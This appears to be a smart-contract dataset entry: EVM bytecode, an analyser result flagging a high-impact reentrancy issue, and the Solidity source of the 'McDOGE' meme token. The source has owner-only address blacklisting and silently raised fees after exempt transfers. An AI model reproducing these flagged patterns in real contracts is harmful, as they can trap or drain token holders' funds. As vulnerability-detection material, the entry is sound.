0000000060448201526064016103fa565b6001600160a01b0382166000908152600760205260409020544211610ef457600080fd5b610eff42601e611a08565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f445750600d546001600160a01b03848116911614155b8015610f6957506001600160a01b03831660009081526005602052604090205460ff16155b15610f79576002600a556006600b555b6000610f84306105f2565b600e54909150600160a81b900460ff16158015610faf5750600e546001600160a01b03858116911614155b8015610fc45750600e54600160b01b900460ff165b15610fe457610fd2816111b2565b478015610fe257610fe2476110fb565b505b505b610ff183838361132c565b505050565b6000818484111561101a5760405162461bcd60e51b81526004016103fa91906116ca565b5060006110278486611a20565b95945050505050565b600082600003611042575060006103ca565b600061104e8385611a37565b90508261105b8583611a56565b146110b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fa565b9392505050565b60006110b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611337565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046b573d6000803e3d6000fd5b600060085482111561119c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103fa565b60006111a6611365565b90506110b283826110b9565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111fa576111fa61195b565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127791906119a0565b8160018151811061128a5761128a61195b565b6001600160a01b039283166020918202929092010152600d546112b09130911684610add565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e9908590600090869030904290600401611a78565b600060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610ff1838383611388565b600081836113585760405162461bcd60e51b81526004016103fa91906116ca565b5060006110278486611a56565b600080600061137261147f565b909250905061138182826110b9565b9250505090565b60008060008060008061139a876114bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113cc908761151c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113fb908661155e565b6001600160a01b03891660009081526002602052604090205561141d816115bd565b6114278483611607565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146c91815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a764000061149a82826110b9565b8210156114b657505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114dc8a600a54600b5461162b565b92509250925060006114ec611365565b905060008060006114ff8e87878761167a565b919e509c509a509598509396509194505050505091939550919395565b60006110b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff6565b60008061156b8385611a08565b9050838110156110b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fa565b60006115c7611365565b905060006115d58383611030565b306000908152600260205260409020549091506115f2908261155e565b30600090815260026020526040902055505050565b600854611614908361151c565b600855600954611624908261155e565b6009555050565b600080808061163f60646105b98989611030565b9050600061165260646105b98a89611030565b9050600061166a826116648b8661151c565b9061151c565b9992985090965090945050505050565b60008080806116898886611030565b905060006116978887611030565b905060006116a58888611030565b905060006116b782611664868661151c565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116f7578581018301518582016040015282016116db565b81811115611709576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ef57600080fd5b803561173f8161171f565b919050565b6000806040838503121561175757600080fd5b82356117628161171f565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179957600080fd5b823567ffffffffffffffff808211156117b157600080fd5b818501915085601f8301126117c557600080fd5b8135818111156117d7576117d7611770565b8060051b604051601f19603f830116810181811085821117156117fc576117fc611770565b60405291825284820192508381018501918883111561181a57600080fd5b938501935b8285101561183f5761183085611734565b8452938501939285019261181f565b98975050505050505050565b60008060006060848603121561186057600080fd5b833561186b8161171f565b9250602084013561187b8161171f565b929592945050506040919091013590565b60006020828403121561189e57600080fd5b81356110b28161171f565b80151581146105ef57600080fd5b6000602082840312156118c957600080fd5b81356110b2816118a9565b6000602082840312156118e657600080fd5b5035919050565b6000806040838503121561190057600080fd5b823561190b8161171f565b9150602083013561191b8161171f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161199957611999611971565b5060010190565b6000602082840312156119b257600080fd5b81516110b28161171f565b6000806000606084860312156119d257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119fd57600080fd5b81516110b2816118a9565b60008219821115611a1b57611a1b611971565b500190565b600082821015611a3257611a32611971565b500390565b6000816000190483118215151615611a5157611a51611971565b500290565b600082611a7357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df77703e28d7a588d5d10faa62b407c05f0a2f2eb550ec2a2f32284a3c30dacc64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,085 |
0xd3569faeec3f0d6b1b2e6f03e72d4ff8cb60e7a0
|
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
Rapdoge
The newest along the doges
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract McDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "McDOGE| t.me/bigmacdoge";
string private constant _symbol = "MDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601781526020017f4d63444f47457c20742e6d652f6269676d6163646f6765000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d444f4745000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b6000479050